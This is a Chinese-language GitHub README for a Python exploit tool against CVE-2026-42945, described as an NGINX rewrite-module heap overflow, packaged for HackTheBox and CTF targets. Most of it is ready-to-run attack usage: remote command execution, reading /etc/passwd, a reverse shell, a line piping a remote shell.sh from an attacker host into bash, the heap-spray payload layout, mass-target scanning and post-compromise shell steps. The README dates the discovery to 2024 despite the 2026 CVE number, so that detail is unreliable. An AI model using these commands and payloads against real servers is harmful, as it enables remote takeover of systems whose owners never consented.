cipherspy/CVE-2026-42945-POC
GitHub: cipherspy/CVE-2026-42945-POC
针对 NGINX rewrite 模块堆缓冲区溢出漏洞 CVE-2026-42945 的 Python 独立利用程序,优化适配 HTB 和 CTF 环境,支持远程命令执行和反向 Shell。
Stars: 36 | Forks: 8
# CVE-2026-42945 (NGINX Rift) - HTB-Ready 漏洞利用
针对 2024 年发现的 NGINX 堆缓冲区溢出漏洞的独立漏洞利用程序。此版本针对无法设置 Docker 容器的 HackTheBox 和 CTF 环境进行了优化。
## 漏洞详情
**CVE-2026-42945** 是 NGINX 的 `ngx_http_rewrite_module` 中的一个严重堆缓冲区溢出漏洞,该漏洞自 2008 年(版本 0.6.27)以来一直存在。该漏洞在以下情况下触发:
1. `rewrite` 指令在替换内容中包含 `?`(设置 `is_args = 1`)
2. `set` 指令捕获了 URI 的一部分
3. 长度计算发生在一个清零的子引擎上(看到 `is_args = 0`)
4. 复制阶段在主引擎上运行(看到 `is_args = 1`)
5. URI 转义将字符扩展 3 倍,导致缓冲区大小不足而溢出
### 受影响版本
- **NGINX Open Source**: 0.6.27 - 1.30.0
- **NGINX Plus**: R32 - R36
### 已修复版本
- **NGINX Open Source**: 1.31.0, 1.30.1
- **NGINX Plus**: R36 P4, R35 P2, R32 P6
## 包含文件
1. **nginx_rift_htb.py** - 主漏洞利用脚本
2. **nginx_rift_helper.py** - 侦察和信息泄露辅助脚本
3. **README.md** - 本文件
## 环境要求
```
# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd
# 无需额外的 Python 包 - 仅使用 stdlib!
```
## 快速开始
### 1. 检查目标是否存在漏洞
```
python3 nginx_rift_htb.py --target 10.10.11.x --check-only
```
此操作将会:
- 检测是否正在运行 NGINX
- 尝试识别版本
- 检查 `/api/` 端点
- 报告目标是否易受攻击
### 2. 侦察 (推荐)
```
python3 nginx_rift_helper.py --target 10.10.11.x --all
```
此操作将会执行:
- NGINX 指纹识别
- 版本检测
- 端点发现
- 信息泄露检测
- 行为分析
### 3. 运行漏洞利用
**执行命令:**
```
python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"
```
**获取反向 shell:**
```
# 首先启动 listener(在另一个终端中)
nc -lvnp 4444
# 运行 exploit
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444
```
## 使用示例
### 基本命令执行
```
# 执行 'id' 命令
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"
# 执行 'whoami'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"
# 读取 /etc/passwd
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"
```
### 反向 Shell
```
# 终端 1:启动 listener
nc -lvnp 4444
# 终端 2:运行 exploit
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--shell \
--lhost 10.10.14.5 \
--lport 4444 \
--verbose
```
### 自定义地址 (如果 ASLR 被禁用或您已获得泄露地址)
```
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
```
### 高级选项
```
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--port 8080 \
--cmd "curl http://10.10.14.5/shell.sh | bash" \
--tries 20 \
--verbose
```
## 了解漏洞利用
### 工作原理
1. **堆喷射 (Heap Spray)**: 漏洞利用程序发送多个包含伪造的 `ngx_pool_cleanup_s` 结构体的 POST 请求
2. **触发溢出**: 发送一个带有特殊构造 URI 的 GET 请求到 `/api/`,该 URI 在转义时会溢出
3. **清理钩子 (Cleanup Hook)**: 溢出破坏了相邻池的清理指针,使其指向我们的伪造结构体
4. **代码执行**: 当池被销毁时,它会调用 `system()` 并执行我们的命令
### 关键参数
- **目标字节**: 6 字节地址,必须仅包含 URL 安全字符
- **喷射体**: 4000 字节的 POST 请求体,包含伪造的清理结构体
- **溢出载荷**: 349 个 'A' + 969 个 '+' 字符,在转义期间扩展 3 倍
### ASLR 注意事项
该漏洞利用程序假定 **ASLR 已禁用** 或者您知道具体地址。在 HTB 上:
- 一些靶机禁用了 ASLR 以便于漏洞利用
- 其他靶机则需要找到信息泄露点
- 辅助脚本可以帮助进行侦察
如果启用了 ASLR,您可能需要:
1. 在应用程序中查找信息泄露
2. 暴力破解 (需要多次尝试)
3. 使用部分覆盖 (高级)
## 故障排除
### "Target doesn't appear to be running NGINX"
- 验证目标是否确实在运行 NGINX
- 检查端口是否正确
- 可能位于 WAF/代理之后
### "Could not confirm /api/ endpoint"
易受攻击的配置需要:
```
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
```
- 如果在其他地方存在 rewrite+set,该漏洞利用程序可能仍然有效
- 尝试不同的常见路径:`/api/`、`/admin/`、`/internal/`
### "All exploitation attempts failed"
可能的原因:
1. **ASLR 已启用** - 地址被随机化
- 解决方案:寻找信息泄露或暴力破解
2. **不同的 libc 版本** - `system()` 位于不同的偏移量
- 解决方案:使用 `--verbose` 尝试所有偏移量
3. **版本不受影响** - 已修复版本或不同配置
- 解决方案:使用辅助脚本验证版本
4. **WAF/IDS 阻止** - 安全控制措施已到位
- 解决方案:可能需要规避技术
5. **错误的端点** - 未使用 rewrite+set 组合
- 解决方案:查找实际的易受攻击端点
### 详细模式
请始终使用 `--verbose` 进行调试:
```
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose
```
这会显示:
- 每个喷射请求的状态
- 连接尝试
- 溢出触发时机
- 崩溃检测逻辑
## HTB 专用技巧
### 查找您的 VPN IP
```
# 查找你的 tun0 IP
ip addr show tun0 | grep inet
# 将此 IP 用于 --lhost
python3 nginx_rift_htb.py --target TARGET --shell --lhost YOUR_TUN0_IP --lport 4444
```
### 稳定 Shell
一旦获得初始访问权限:
```
# 升级到 TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 置于后台并设置终端
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
```
### 获得 Shell 后常见的 HTB 枚举
```
# 检查当前用户
id
whoami
# 检查 flags
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null
# 检查 sudo 权限
sudo -l
# 检查 SUID binaries
find / -perm -4000 2>/dev/null
```
## 高级用法
### 自定义载荷生成
如果您需要自定义载荷:
```
# 编辑 nginx_rift_htb.py 中的 make_body() 函数
# 针对不同的配置调整 BODY_LEN
# 修改 overflow 字符串 (349 'A' + 969 '+')
```
### 多个目标
```
# 创建 target 列表
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25
# 逐一测试
while read target; do
echo "Testing $target"
python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt
```
### 自动化漏洞利用
```
#!/bin/bash
TARGET=$1
LHOST=$2
echo "[*] Starting listener..."
nc -lvnp 4444 &
LISTENER_PID=$!
sleep 2
echo "[*] Running exploit..."
python3 nginx_rift_htb.py \
--target $TARGET \
--shell \
--lhost $LHOST \
--lport 4444 \
--verbose
wait $LISTENER_PID
```
## 技术细节
### 易受攻击的代码模式
```
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # Sets is_args=1
set $original_endpoint $1; # Allocates based on is_args=0
}
```
### 漏洞利用流程
```
1. Spray POST → Fill heap with fake cleanup structures
2. GET /api/AAAA...++++...X → Trigger overflow
3. Overflow corrupts adjacent pool cleanup pointer
4. Pool destroyed → Calls system(cmd)
```
### 内存布局
```
[Heap Spray Body - 4000 bytes]
+0: system_addr (8 bytes)
+8: data_addr (8 bytes)
+16: next (8 bytes, NULL)
+24: command_string (variable)
+remaining: padding 'A'
```
## 参考文献
- 原始 POC: https://github.com/p3Nt3st3r-sTAr/CVE-2026-42945-POC
- 技术报告: https://depthfirst.com/research/nginx-rift
- NGINX 公告: https://my.f5.com/manage/s/article/K000160932
- CVE 详情: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42945
## 免责声明
本工具仅用于教育目的和授权安全测试。针对您不拥有或未获得明确测试许可的系统使用本工具是违法的。作者对滥用行为不承担任何责任。
## 致谢
- 原始漏洞由 [depthfirst](https://depthfirst.com) 发现
- 原始 POC: p3Nt3st3r-sTAr
- HTB 适配: 为独立使用而修改
## 许可证
仅用于教育/研究目的。请负责任地使用。
标签:0day漏洞, CISA项目, CVE-2026-42945, HackTheBox, HTB, Maven, NGINX, ngx_http_rewrite_module, OPA, PoC, Python, RCE, Rift漏洞, URL发现, Web安全, 信息泄露, 反弹Shell, 堆缓冲区溢出, 安全检测, 攻击脚本, 数据展示, 无后门, 暴力破解, 漏洞利用脚本, 漏洞验证, 红队, 编程工具, 网络安全, 蓝队分析, 负责任AI, 远程代码执行, 逆向分析, 逆向工具, 隐私保护, 靶场